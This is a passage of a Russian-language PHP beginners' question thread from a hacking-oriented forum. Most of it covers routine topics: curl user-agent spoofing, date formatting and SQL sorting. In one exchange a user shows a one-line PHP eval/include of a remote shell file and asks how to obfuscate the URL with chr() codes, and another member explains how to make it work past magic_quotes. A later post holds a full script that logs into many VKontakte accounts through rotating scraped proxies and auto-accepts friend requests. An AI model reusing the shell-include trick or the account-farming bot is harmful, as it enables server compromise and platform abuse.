[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Architek86 is_resource(), но в принципе, обычно, достаточно простого if (!$f) echo 'Не дескриптор';
     
    _________________________
  2. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Есть парсер кода

    PHP:
    $content = file_get_contents("http://site.ru");

    preg_match_all("/<td class=\"td3\">([0-9]{0,4})<\/td>/is", $content, $matches);

    $text = $matches[1];
    Проблема в том что сайт с которого он парсит смотрит версию клиента и выдает не верный контент если это не браузер.
    Как можно передать ему версию браузера любого?
     
  3. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    http://ua2.php.net/curl
    http://ua2.php.net/manual/en/curl.installation.php

    PHP:
    <?php
    $ch 
    = curl_init('http://ya.ru/');
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $res = curl_exec($ch);
    if(
    preg_match_all("/<td class=\"td3\">([0-9]{0,4})<\/td>/is", $content, $matches))
    echo 
    $matches[1];
    ?>
     
    _________________________
  4. fker

    fker Member

    Joined:
    26 Nov 2008
    Messages:
    135
    Likes Received:
    64
    Reputations:
    -1
    В базе дата хранится в формате YYYY-MM-DD
    как вывести в формате: 12 December
    пробовал:
    date("d F", mysql_result($result,$i,date_post))
    выводит 01 January
    подскажите плиз
     
  5. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    А всякими fread нельзя?
     
  6. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Нужно дату в Unix time переводить
    PHP:
    date("d F", strtotime(mysql_result($result,$i,date_post)));
     
    1 person likes this.
  7. Player#1

    Player#1 Member

    Joined:
    11 Nov 2008
    Messages:
    95
    Likes Received:
    35
    Reputations:
    10
    Можно при помощи сокетов, например вот так:
    PHP:
    $host="ya.ru";
    $path="/index.html";
    $agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
    $fp = fsockopen($host, 80, $errno, $errstr, 30);

    if (!
    $fp) {
        echo 
    "$errstr ($errno)<br />\n";
    } else {
        
    $out = "GET ".$path." HTTP/1.1\r\n";
        
    $out .= "Host: ".$host."\r\n";
        
    $out .= "User-Agent: ".$agent."\r\n";
        
    $out .= "Connection: Close\r\n\r\n";
        
    fwrite($fp, $out);
        while (!
    feof($fp)) {
            echo 
    fgets($fp, 128);
        }
        
    fclose($fp);
    }
     
    1 person likes this.
  8. LASS0

    LASS0 Member

    Joined:
    3 Jan 2009
    Messages:
    0
    Likes Received:
    17
    Reputations:
    1
    Как можно вывести таблицу не с первой, а с последней записи "nic"?

    PHP:
    $result = mysql_query ("SELECT nic FROM tab");
    if (
    $result)
          {
            
    $rows = mysql_num_rows($result);
            for (
    $i=0; $i<$rows; $i++)
               {
             
    $r=mysql_fetch_array($result);               
                    echo 
    $r["nic"];               
               }     
            
    mysql_free_result($result);
          }
     
    4 people like this.
  9. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    478
    Likes Received:
    483
    Reputations:
    99
    SELECT nic FROM tab order by DESC
     
  10. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    SELECT nic FROM tab order by nic DESC
    поле пропущено)
     
  11. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    934
    Likes Received:
    394
    Reputations:
    261
    Помогайте ))
    Есть пример код
    PHP:
    <?php eval(include("http://site.com/shell.txt")); ?>
    Как поняли инклудит шелл. А вот мне нужно сделать этот же рабочий php код такого вида.
    PHP:
    <?php eval(include(chr(34).chr(104).chr(116).chr(116).chr(112).........); ?>
    Помоги сделать чтобы такой вид тоже давал рабочий вариант, то есть инклудился. А то уже 4 час сижу бьюсь не хуя понять не могу где ошибку допускаю. За ранее спасибо.
     
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Ни один из твоих вариантов не сработает.
    Ф-ция include предназначена для инклюдинга файлов, НО она его инклюдит, а возвращает результат выполнения, то есть 1 (успешно проинклюдиди) или 0 (неуспешно). Таким образом твой код станет
    PHP:
    eval(1);
    или
    PHP:
    eval(0);
    PS: Тебе надо проинклудить файл, но стоят magic_quotes, и кавычки магическим образом превращаются в \'? Тогда используй chr, как ты и делал, но не переводи кавычку в chr - у тебя первый (и последний, наверное) символ, кодированный в чар - кавычки (chr(34)), вот их и убери, и тогда все будет как по маслу :)
     
    #13052 mailbrush, 13 Dec 2009
    Last edited: 13 Dec 2009
    1 person likes this.
  13. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    934
    Likes Received:
    394
    Reputations:
    261
    mailbrush помог, ему спасибо.
     
    7 people like this.
  14. foxxx1234

    foxxx1234 Member

    Joined:
    26 Nov 2008
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    Подскажите пытаюсь исправить скрипт который добавляет друзей в контакте через прокси. Но его постоянно перекидывает на сам контакт. В чем может быть проблема.
     
  15. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    568
    Likes Received:
    86
    Reputations:
    11
    античат не форум экстрасенсов (с)
    код в студию
     
  16. Player#1

    Player#1 Member

    Joined:
    11 Nov 2008
    Messages:
    95
    Likes Received:
    35
    Reputations:
    10
    хорошо бы код выложить...
    возможно если скрипт работает через curl то надо добавить строку:
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
     
  17. foxxx1234

    foxxx1234 Member

    Joined:
    26 Nov 2008
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    При просмотре заголовков видно iframe но не понятно как сделать так чтобы он не редиректил на контакт.
    HTML:
    Смотрим есть ли новые друзья ..........HTTP/1.1 200 OK
    Date: Mon, 14 Dec 2009 02:40:36 GMT
    Server: nginx/0.7.59
    Content-Type: text/html; charset=windows-1251
    X-Powered-By: PHP/5.2.6-1+lenny3
    Pragma: no-cache
    Cache-control: no-store
    P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
    Vary: Accept-Encoding
    Content-Length: 1058
    Connection: close
    
    <html>
    <head>
    <meta http-equiv="content-type" content="text/html; charset=windows-1251" />
    <script>
     var t = setTimeout("location.href='http://vkontakte.ru/login.php?op=logout'", 7000);
    </script>
    </head>
    <body>
     <div>
      <img src="http://vkontakte.ru/images/progress.gif">
     </div>
     <form id="f" name="f" method="post" action="http://vkontakte.ru/friends.php?filter=requests">
      <input type='hidden' name='filter' value='requests' /><input type='hidden' name='IP_ADDRESS' value='210.32.200.95' /><input type='hidden' name='request_method' value='get' /><input type='hidden' name='pda' value='' />
     </form>
     <iframe name="mf" onload="try{if (this.contentWindow.location.href.indexOf('slogin') != -1) {clearTimeout(t); if (this.contentWindow.location.href.indexOf('nonenone') != -1) {location.href='http://vkontakte.ru/login
    
    
     
  18. Player#1

    Player#1 Member

    Joined:
    11 Nov 2008
    Messages:
    95
    Likes Received:
    35
    Reputations:
    10
    а зачем выводит в браузер html?
    Парсить страницу надо, а не выводить.
     
  19. foxxx1234

    foxxx1234 Member

    Joined:
    26 Nov 2008
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    Просто скрипт подвисает и я хотел посмотреть в каком месте это происходит.
     
  20. foxxx1234

    foxxx1234 Member

    Joined:
    26 Nov 2008
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    Дайте советы по увеличению скорости данного скрипта и ошибкам.

    Файл index.php

    PHP:
    <?php 
    set_time_limit
    ( 1200 );
    include( 
    'function.inc' );
    print  
    date(  "H:i:s", time() ) ."<br />"; flush();
    $TimeGrab = file ( $TimeGrabProx );

    if ( 
    $TimeGrab[0] <= date ( 'd/m/Y H:i:s' , time() ) )
    {
        print 
    "Обнавляем прокси ... "; flush();
        if ( 
    grab ( $proxing, $TimeGrabProx ) !== false )
        {
            print 
    "Ok!<br />"; flush();
            
    $proxing = file ( 'proxy.txt' );
            
    $count = count ( $proxing );
            
    $display[] = '['.date(  "d-m-Y H:i:s", time() ) .']Обновили прокси! '.$count." штук!\r\n";
            
    log_file ( $display, $loger, $display_mess );
            unset ( 
    $display );
        }
        else
        {
            
    $display[] = '['.date(  "d-m-Y H:i:s", time() ) ."]Ошибка обнавления прокси!\r\n";
            
    log_file ( $display, $loger, $display_mess);
            exit();
        }
        
    sleep( 10 );
    }
    $proxing = file ( 'proxy.txt' );
    $count = count ( $proxing );
    $display[] = "Run friends [".date(  "d-m-Y H:i:s", time() ) ."]";
    /**********************************************************
    /*Заходим в аккаунт
    /***********************************************************/

    for ($k = 0; $k < count( $acc ); $k++ )
    {
        if ( 
    $k == 0 )
        {
            
    $proxy = $proxing[0];
        }

        list(
    $nic, $pass, $stst ) = split( ":",  $acc[$k] );
        
    $display[] = " << " . $nic .":" .$proxy." >> ";
        
        
    $data_auth = "?act=login&email=".$nic."&pass=".$pass."&expire=&vk=1";

        
    $delling = false;
        if ( 
    $message == 1 ) print "Проверяем <b>" .$nic. "</b> на работоспасобность ...";
        do
        {
            
    $connect = get_page_html(  'http://vkontakte.ru/login.php', 'http://login.vk.com/', $proxy, $data_auth, 1 );

            if ( 
    strstr ( $connect, 'HTTP/1.1 200 OK') !== false xor strstr ( $connect, 'HTTP/1.0 200 OK') !== false )
            {
                if ( 
    strstr ( $connect, 'HTTP/1.1 302') !== false )
                { 
                
                    
    //=========================================//
                    
    if ( $message == 1 )    print " ok ! <br />"; flush();
                    
    preg_match('#\d+#',$connect,$id);
                    echo 
    $res[0];
                    

                    
    //=========================================//
                    
    preg_match_all('#Set-cookie: (.*?;) ex#UiS', $connect, $cookie );
                    
                    if ( !empty( 
    $cookie[1][1] ) )
                    {
                        for ( 
    $c = 0; $c < count( $cookie[1] ); $c++)
                        {
                            
    $Cookies .= $cookie[1][$c];
                        }
                        if ( 
    strstr ( $Cookies , 'remixsid' ) !== true )
                        {
                            
    $Cookies .= 'remixlang=0;remixchk=5;';
                        }

                        
    /*||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||*/

                        
    print "Делаем анкету онлайн ..."; flush();
                        
    $OnLineOk = false;
                        do
                        {

                            
    $OnLine = get_page_html(  'http://vkontakte.ru/profile.php', 'http://login.vk.com/?act=login', $proxy, NULL, 1, $Cookies );

                            if ( 
    strstr ( $OnLine, '/profile.php' ) !== false )
                            {
                                
    //print $OnLine . "<br />"; flush();
                                
    print " Ok! <br />"; flush();
                                
    $OnLineOk = true;
                            }
                            else
                            {
                                if ( 
    $proxing[$count-1] == $proxy )
                                {
                                    print 
    "Идем по списку прокси с начала!<br />\n";
                                    
    $proxy = reset ( $proxing );
                                }
                                else
                                {
                                    if ( 
    $message == 1 )    print "."; flush();
                                    
    $proxy = next( $proxing );
                                }

                            }
                        }
                        while ( !
    $OnLineOk );
                        
    /*||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||*/
                        //=========================================//

                        
    if ( $message == 1 )    print " Смотрим есть ли новые друзья ...";  flush();
                        
    $ProfileOk = false;
                        
    $fid_count = 0;
                        do
                        {
                            
    $ProFile = get_page_html( 'http://vkontakte.ru/friends.php?filter=requests', 'http://vkontakte.ru/profile.php', $proxy, NULL, 1, $Cookies );
                            
    //print $ProFile; flush();
                            
    if ( strstr ( $ProFile, 'http://vkontakte.ru/id1' ) !== false )
                            {
                                if ( 
    strstr ( $ProFile, 'Location: /friends.php' ) !== false )
                                {
                                    print 
    "Заявок нет<br />\n"; flush();
                                }
                                else
                                {
                                    
    preg_match_all( '#.*\[\[(.*?)\]\],.*#', $ProFile, $FrStr );
                                    
                                    
    preg_match( '#.*\'hash\':\'(.*?)\'.*#', $ProFile, $Hash );
                                    
                                    
    $FrStrExplode = explode( "],[", $FrStr[1][0] );
                                    print 
    "  " . count ( $FrStrExplode ) ." в друзья!<br />"; flush();
                                    foreach ( 
    $FrStrExplode as $Fr )
                                    {
                                        
    preg_match( '#(\d{0,12}),\"(.*?)\",.*#', $Fr, $FrWelId );
                                        print 
    $FrWelId[1]; flush();
                                        
    $WelcPost = 'fid='.$FrWelId[1].'&act=accept_friend&hash='.$Hash[1].'&cats=1';
                                        
    /* Приглашаем */
                                        
    $GoWelk = false;
                                        do
                                        {
                                            
    $WelkResp = get_page_html(  'http://vkontakte.ru/friends_ajax.php', 'http://vkontakte.ru/friends.php?filter=requests', $proxy, $WelcPost, 1, $Cookies );
                                            if ( 
    strstr ( $WelkResp, 'Заявка принята' ) !== false xor strstr ( $WelkResp, 'Request Accepted' ) !== false xor strstr ( $WelkResp, 'Заявку прийнято' ) !== false)
                                            {
                                                print 
    " Ok <br />\n"; flush();
                                                
    $GoWelk = true;
                                            }
                                            else
                                            {
                                                if ( 
    $proxing[$count-1] == $proxy )
                                                {
                                                    print 
    "Идем по списку прокси с начала!<br />\n";
                                                    
    $proxy = reset ( $proxing );
                                                }
                                                else
                                                {
                                                    if ( 
    $message == 1 )    print "."; flush();
                                                    
    $proxy = next( $proxing );
                                                }
                                            }
                                        }
                                        while ( !
    $GoWelk );
                                        
    /*            */

                                    
    }

                                }

                                
    $ProfileOk = true;
                            }
                            else
                            {

                                if ( 
    $proxing[$count-1] == $proxy )
                                {
                                    print 
    "Идем по списку прокси с начала!<br />\n";
                                    
    $proxy = reset ( $proxing );
                                }
                                else
                                {
                                    if ( 
    $message == 1 )    print "."; flush();
                                    
    $proxy = next( $proxing );
                                }
                            }
                        }
                        while ( !
    $ProfileOk );
                        
    $display[] = "[ " . count ( $FrStrExplode ) . " ]  new friends - is accepted ! ";
                        
    /*||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||*/
                        
    $delling = true;
                    }
                    else
                    {
                        if ( 
    $proxing[$count-1] == $proxy )
                        {
                            print 
    "Идем по списку прокси с начала!<br />\n";
                            
    $proxy = reset ( $proxing );
                        }
                        else
                        {
                            if ( 
    $message == 1 )    print "."; flush();
                            
    $proxy = next( $proxing );
                        }
                    }
                    
                    
    /////////////////////////////////////////////
                
    }
                elseif ( 
    strstr ( $connect, 'failed') !== false )
                {
                    if ( 
    $message == 1 )    print " Удален ! <br />"; flush();

                    
    $DellAcc = fopen ( $DelLog, 'a+' );

                    if ( 
    $DellAcc )
                    {
                        
    $RecordDellAcc = "[ ".date( "d-m-Y H:i:s", time() ). " ] " . $nic . " Сайт ответил: анкета удалена.\n";
                        
    fputs( $DellAcc, $RecordDellAcc );
                    }
                    else
                    {
                        if ( 
    $message == 1 )        print "Не смогли записать в файл удаленную анкету<br />";
                        
    flush();
                    }
                    
    fclose( $DellAcc );
                    
    $delling = true;
                }
                elseif ( 
    strstr ( $connect, 'Enter code') !== false )
                {
                    if ( 
    $message == 1 )        print " требует ввода капчии, спим 30 сек ...<br />"; flush();
                    if ( 
    $proxing[$count-1] == $proxy )
                    {
                        print 
    "Идем по списку прокси с начала!<br />\n";
                        
    $proxy = reset ( $proxing );
                    }
                    else
                    {
                        
    $proxy = next( $proxing );
                    }
                    
    sleep( 30 );
                    if ( 
    $message == 1 )        print " пробуем снова ..."; flush();
                }
                else
                {

                    if ( 
    $proxing[$count-1] == $proxy )
                    {
                        print 
    "Идем по списку прокси с начала!<br />\n";
                        
    $proxy = reset ( $proxing );
                    }
                    else
                    {
                        if ( 
    $message == 1 )    print "."; flush();
                        
    $proxy = next( $proxing );
                    }

                }

            }
            else
            {
                if ( 
    $proxing[$count-1] == $proxy )
                {
                    print 
    "Идем по списку прокси с начала!<br />\n";
                    
    $proxy = reset ( $proxing );
                }
                else
                {
                    if ( 
    $message == 1 )    print "."; flush();
                    
    $proxy = next( $proxing );
                }
            }
        }
        while ( !
    $delling );
        
    $Cookies = '';
        
    sleep( 5 );
    }
    $display[] =  $k . " vsego onlain акаунта(ов) [".date( "d-m-Y H:i:s", time() ) ."]\r\n";
    print 
    date("H:i:s", time()) . "<br />"; flush();

    if ( 
    $message == 1 )
    {
        print 
    log_file ( $display, $loger, $display_mess );
    }
    ?>
    Файл function.inc
    PHP:
    <?php
    date_default_timezone_set
    ( 'Europe/Kiev' );
    $display = array(); //Массив с сообщениями
    $loger = 1; // 1 Включает зпись логов, 0 выключает;
    $display_mess = 0; // 1 Включает вывод сообщения о прделоной работе, 0 выключает;
    $message = 1;// 1 Включает вывод сообщения о ходе работы, 0 выключает;
    // Файл счетчик обновления прокси
    if ( file_exists( 'count_prox.dat' ) )
    {
        
    $TimeGrabProx = 'count_prox.dat';
    }
    else
    {
        
    $CreaetTimeGrabProx = fopen( 'count_prox.dat', 'w+' );
        if ( 
    $CreaetTimeGrabProx )
        {
            
    chmod( 'count_prox.dat', 0666 );
            print 
    "Создали файл 'count_prox.dat' <br />"; flush();
        }
        
    fclose ( $CreaetTimeGrabProx );
        
    $TimeGrabProx = 'count_prox.dat';
    }

    // Файл удаленных анкет
    if ( file_exists( 'DellAcc.txt' ) )
    {
        
    $DelLog = 'DellAcc.txt';
    }
    else
    {
        
    $CreaetDelLog = fopen( 'DellAcc.txt', 'w+' );
        if ( 
    $CreaetDelLog )
        {
            
    chmod( 'DellAcc.txt', 0666 );
            print 
    "Создали файл 'DellAcc.txt' <br />"; flush();
        }
        
    fclose ( $CreaetDelLog );
        
    $DelLog = 'DellAcc.txt';
    }

    if ( 
    file_exists( 'proxy.txt' ) )
    {
        
    $proxing = file ( 'proxy.txt' ); // Файл с прокси
    }
    else
    {
        exit ( 
    'Нет файла прокси!');
    }
    ///////////

    if ( file_exists( 'acc.inc' ) )
    {
        
    $acc = file ( 'acc.inc' ); // Файл с анкетами
    }
    else
    {
        exit ( 
    'Нет файла с аккаунтами!');
    }


    function 
    count_prox ( $TimeGrabProx, $Time=7200 )
    {

        
    $acc_rec = fopen ( $TimeGrabProx, "w+" );
        if ( 
    flock( $acc_rec, LOCK_EX ) )
        {
            
    fseek($acc_rec, 0 );
            
    fputs( $acc_rec, date ( "d/m/Y H:i:s", ( time () + $Time ) ) );
            
    flock( $acc_rec, LOCK_UN);
        }
        
    fclose ($acc_rec);

    }

    function 
    log_file ( $var, $stat, $display_mess ) // Функция для ведения лог файла
    {
        if ( 
    $stat == 1 )
        {
            if ( 
    file_exists( 'log_file.txt' ) )
            {
                
    $log_file = fopen ( 'log_file.txt', "a+" ) or die( "Не могу открыть log_file.txt" );
            }
            else
            {
                
    $log_file = fopen ( 'log_file.txt', "a+" ) or die( "Не могу открыть log_file.txt" );
                if  ( 
    $log_file )
                {
                    
    chmod( 'log_file.txt', 0666 );
                }

            }

            if ( 
    flock( $log_file, LOCK_EX ) )
            {
                
    rewind ( $log_file );
                
    fputs( $log_file, @implode( " ",  $var ) );
                
    flock( $log_file, LOCK_UN);
            }
            else
            {
                return 
    "Не могу запереть файл";
            }


            
    fclose ( $log_file );
        }

        if ( 
    $display_mess == 1 )
        {
            
    $del = array_shift ( $var );
            
    $del = array_pop ( $var );
            return @
    implode ( " ", $var ) . flush();
        }
    }

    function 
    get_page_html( $url, $Refer='', $proxy='', $post='', $num='', $Cookie='' )
    {

        
    $agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";

        
    $curltop = curl_init();
        if ( !empty ( 
    $proxy ) )
        {
            
    curl_setopt( $curltop, CURLOPT_PROXY, $proxy );
        }
        
    curl_setopt( $curltop, CURLOPT_URL, $url );
        if ( !empty( 
    $Refer ) )
        {
            
    curl_setopt( $curltop, CURLOPT_REFERER, $Refer );
        }
        
    curl_setopt( $curltop, CURLOPT_USERAGENT, $agent );
        
    curl_setopt( $curltop, CURLOPT_RETURNTRANSFER, 1 );
        
    curl_setopt( $curltop, CURLOPT_FOLLOWLOCATION, 1 );
        if ( empty( 
    $Cookie ) )
        {
            
    $cookiefile = 'cookie.inc';
            if ( !
    file_exists( $cookiefile ) )
            {
                
    $handle = fopen( $cookiefile, 'w' );
                
    chmod( 'cookie.inc', 0666 );
                
    fclose( $handle );
            }
            
    curl_setopt( $curltop, CURLOPT_COOKIEFILE, $cookiefile );
            
    curl_setopt( $curltop, CURLOPT_COOKIEJAR, $cookiefile );
        }
        else
        {
            
    curl_setopt( $curltop, CURLOPT_COOKIE, $Cookie );
        }
        
    curl_setopt( $curltop, CURLOPT_TIMEOUT, 15 );
        if ( 
    $num == 1 )
        {
            
    curl_setopt( $curltop, CURLOPT_HEADER, 1 );
        }
        if ( !empty( 
    $post ) )
        {
            
    curl_setopt( $curltop, CURLOPT_POST, 1 );
            
    curl_setopt( $curltop, CURLOPT_POSTFIELDS, $post );
        }
        
    $html = curl_exec( $curltop );
        
    //echo $html;
        
    curl_close ( $curltop );
        return  !empty( 
    $html )  ?  $html :  false;
        
    }

    function 
    grab (  $proxing, $TimeGrabProx )
    {
        
    $FileRezer = file ( 'proxy.txt' );
        
    $file_prox = fopen ( 'proxy.txt', 'w+' );
        
    flock( $file_prox, LOCK_EX );
        
    $ArrayLinc[] = 'http://freeproxylist.org/en/free-proxy-list.htm';
        for ( 
    $p = 1; $p <= 50; $p ++ )
        {
            
    $ArrayLinc[$p] = 'http://freeproxylist.org/en/free-proxy-list.htm?index='.$p ;
        }
        foreach ( 
    $ArrayLinc as $key => $Linc )
        {

            if ( 
    $key == 0 )
            {
                
    $PostSend = 'cc=any&ssl=any&speed=0&port=any&connect=any&ping=15.0000&type=any&post=any&uptime=0&section=both&codeen=any&interval=360&userip=94.178.217.103&code=AW1VfWYjMueusyuh&filter=save+and+apply+filter+options';
            }
            else
            {
                
    $PostSend = null;
            }

            
    $Prox = get_page_html ( Null, $Linc, Null, Null, $PostSend, 0 );
            if ( !empty( 
    $Prox ) )
            {
                
    preg_match_all( "/(\d{0,3}\.\d{0,3}\.\d{0,3}\.\d{0,3}:\d{0,6})/", $Prox, $ProxSort );
                if ( !empty ( 
    $ProxSort[1][0] ) )
                {
                    
    //print $Linc ." Ok!<br />"; flush();

                    
    for ( $i = 0; $i < count ( $ProxSort[1] ); $i ++ )
                    {
                        
    fwrite( $file_prox, $ProxSort[1][$i]."\n" );
                    }
                    
    $prox_url_ok = true;
                }

            }
            else
            {
                if ( ( 
    $p - 1 ) == $key )
                {
                    if ( 
    filesize( 'proxy.txt' ) <= 10 )
                    {
                        
    fwrite( $file_prox, @implode( "", $FileRezer ) );
                        
    $prox_url_ok = false;
                    }
                }

            }
        }
        
    flock( $file_prox, LOCK_UN);
        
    fclose( $file_prox );
        
    count_prox (  $TimeGrabProx );
        return 
    $prox_url_ok;
    }
    ?>

     
Thread Status:
Not open for further replies.